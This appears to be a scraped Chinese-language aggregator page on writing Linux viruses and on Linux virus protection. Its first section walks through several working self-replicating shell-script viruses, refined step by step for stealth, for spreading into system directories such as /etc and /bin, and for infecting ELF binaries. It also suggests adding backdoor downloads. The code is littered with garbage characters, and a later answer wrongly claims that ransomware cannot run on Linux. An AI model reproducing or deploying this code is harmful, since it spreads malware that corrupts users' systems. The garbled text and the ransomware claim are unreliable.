本篇文章给大家谈谈如何写linux病毒,以及linux系统中病毒怎么解决对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
- 1、如何用Shell病毒技术感染Linux脚本程序
- 2、如何编写一个Linux病毒
- 3、linux,unix,windows,ios,安卓的病毒木马都可以用c语言来编写吗?
- 4、Linux如何实现对病毒的防护
- 5、Linux系统平台下病毒种类主要有哪些
- 6、勒索病毒能在Linux上运行吗
1、如何用Shell病毒技术感染Linux脚本程序
来看一个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
cp $0 $file
done
--------------------------------------------------------- . ]2 |0 y9 I* w5 a# ~: b7 M
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以 E1 c. c1 o0 J! K" g% t
为该脚本做个判断,这样隐蔽性就大大增强了: - l1 x* l1 h# D
--------------------------------------------------------- 8 E. n; K- l1 S2 y6 P% ?
#shellvirus II
for file in * 0 n* r2 x5 f2 J; _
do # _, o4 |3 ~- M! T" g7 m7 L5 S
if test -f $file
then
if test -x $file ) g* x* n! W0 Z( B4 G3 |
then ! E" y7 |( G3 Z+ ~9 t
if test -w $file
then
if grep -s echo $file .mmm
then * o0 ? x7 b! M5 n
cp $0 $file ; @ P1 Y) {: P4 U$ ~
fi; fi; fi; fi; fi % ~' v' K% C! }* ^8 j7 O: M
done
rm .mmm -f + N- \" T# M1 w0 C
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序 2 D" v x% i' q N
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file/.mmm
这句也可以这样写:if file $file | grep -s ‚Bourne shell script‚ /dev/nul ; then,也就是判断file是否为shell
脚本程序. 8 I5 ^! _6 m- u) _2 {: G( \
但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:
--------------------------------------------------------- . [! l( n. @* b/ C- s5 a+ m
#infection
head -n 24 $0 .test-取自身保存到.test % I' L, W" o% f5 V9 u7 ~. y9 g
for file in *-遍历文件系统 ; @ c6 ]+ @) D. s$ a# h0 d
do
if test -f $file-判断是否为文件 ) k7 ~7 p/ v* F P7 z. N
then
if test -x $file-判断文件是否可执行
then / V6 h* K; ~: M! [3 D7 R0 G% K
if test -w $file-判断文件是否可写
then % ^% D; y5 F% V" G
if grep -s echo $file .mmm-判断是否为脚本程序
then
head -n 1 $file .mm-提取要感染的脚本程序的第一行
if grep -s infection .mm .mmm-判断该文件是否已经被感染 A3 Z# g4 k% s$ H+ y8 {
then
rm -f .mm-已经被感染,则跳过
else-还未被感染 1 F f$ j% w5 N8 H C' H
cat $file .SAVEE-很熟悉吧?借用了传统的二进制文件的感染机制
cat .test $file
cat .SAVEE $file
fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f 0 N+ y; e' C* ]: r
-------------------------------------------------------- 9 h c4 E$ H. _9 j- D
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来. 5 @2 j; M! {4 }' k8 I+ P
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
-------------------------------------------------------- 3 e, o3 d, ^* |
#infection " Z8 o" S% `$ @. M1 Z _
for file in * ; do
if test -f $file test -x $file test -w $file ; then 4 v( L5 w3 K3 z) W" G/ ?
if grep -s echo $file /dev/nul ; then
head -n 1 $file .mm
if grep -s infection .mm /dev/nul ; then
rm .mm -f ; else 2 j1 j$ e6 B* E6 G, k: Y. i
cat $file .SAVEE * u! D7 C( L/ y/ f) r( F% R2 w9 M: z0 l
head -n 13 $0 $file
cat .SAVEE $file
fi; fi; fi $ I8 X M \ T! Q# j9 b4 u2 _
done
rm .SAVEE .mm -f " f# I. U1 G+ C% @ T) A
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就 4 s% P8 H( m/ A' [ d/ k k
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多 Y) |4 H# |) b% A" w
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了 % [! @( ]1 A$ R% n/ z
--------------------------------------------------------
#infection
xtemp=$pwd-保存当前路径
head -n 22 $0 /.test
for dir in /* ; do-遍历/目录
if test -d $dir ; then-如果是目录就cd该目录
cd $dir
for file in * ; do-遍历该目录文件
if test -f $file test -x $file test -w $file ; then-确定文件是否可执行,可写
if grep -s echo $file /dev/nul ; then-确定是否为脚本程序
head -n 1 $file .mm
if grep -s infection .mm /dev/nul ; then-确定是否已经被感染
rm .mm -f ; else s6 _! g8 h' w, B/ c/ |
cat $file /.SAVEE-和前面的感染机制一样感染未被感染的脚本程序 8 T( q a% [' s
cat /.test $file
cat /.SAVEE $file
fi; fi; fi $ R, l% c) y. f- I
done - j7 l Q3 j2 w7 H* _
cd ..
fi
done O( [: O9 L" E e( z; \
cd $xtemp-返回原目录
rm /.test /.SAVEE .mm -f ( _7 |' x. E: S. Z" s3 M
-------------------------------------------------------------
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧
-------------------------------------------------------------
for file in * ; do
if test -f $file test -x $file test -w $file ; then ; J/ ?- ~# s% h; [7 i6 @- f
if file $file | grep -s ‚ELF‚ /dev/nul ; then
mv $file .$file
head -n 9 $0 $file
fi; fi
done 6 H* o% e: l9 e- X. Y' U! d j
.$0' ]% |# H8 ?/ F
2、如何编写一个Linux病毒
得对Linux的内核原理很了解才能写出来,否则的话不管你用C还是C++写出的代码生成可执行文件后到别人手一转成源代码什么都看的真真的,起不到病毒的作用了。Linux开源就这一点好,一切都在掌控之中。心中有数!
3、linux,unix,windows,ios,安卓的病毒木马都可以用c语言来编写吗?
C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。 编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。 C语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。 如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具) 编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。 现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等
4、Linux如何实现对病毒的防护
您好,
linux目前占有率很低,而且相对来说比较安全,一般的病毒不会自动侵入您的linux系统
前不久出现了史上最强大的linux shell病毒。原则上不能称之为病毒,而是shell脚本
尽管非常强大,但是也不能自动运行,需要有root账号手动运行之后,才可以
因此只要您保管好您的linux root账号,则不用担心您linux中毒
希望可以帮到您,望采纳
腾讯电脑管家企业平台:
5、Linux系统平台下病毒种类主要有哪些
Linux系统平台下的病毒主要分为以下4类:
1、可执行文件型病毒,这个主要就是指能够寄生在文件中的以文件为主要感染对象的病毒。
2、蠕虫(worm)病毒,Linux平台下的蠕虫病毒极为猖獗,像利用系统漏洞进行传播的ramen、lion、Slapper等,这些病毒都感染了大量的Linux系统,造成了巨大的损失。
3、脚本病毒,这样的多为使用shell脚本语言编写的病毒,这类病毒编写较为简单,但破坏力却同样惊人,像以.sh结尾的脚本文件,一个短短数十行的shell脚本就可以在短时间内感染硬盘中所有的脚本文件。
4、后门程序,从增加系统超级用户帐号的简单后门,到利用系统服务加载、共享库文件注射、rootkit工具包,甚至可以装载内核模块(LKM)而产生的后门,Linux平台下的后门技术发展非常成熟,隐蔽性强,难以清除,已经成为Linux系统管理员极为头疼的问题。
6、勒索病毒能在Linux上运行吗
勒索病毒是通过电脑Windows系统的漏洞传播的,Linux系统和Windows的系统并不一样,无法在Linux系统上传播和运行的。
关于如何写linux病毒和linux系统中病毒怎么解决的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。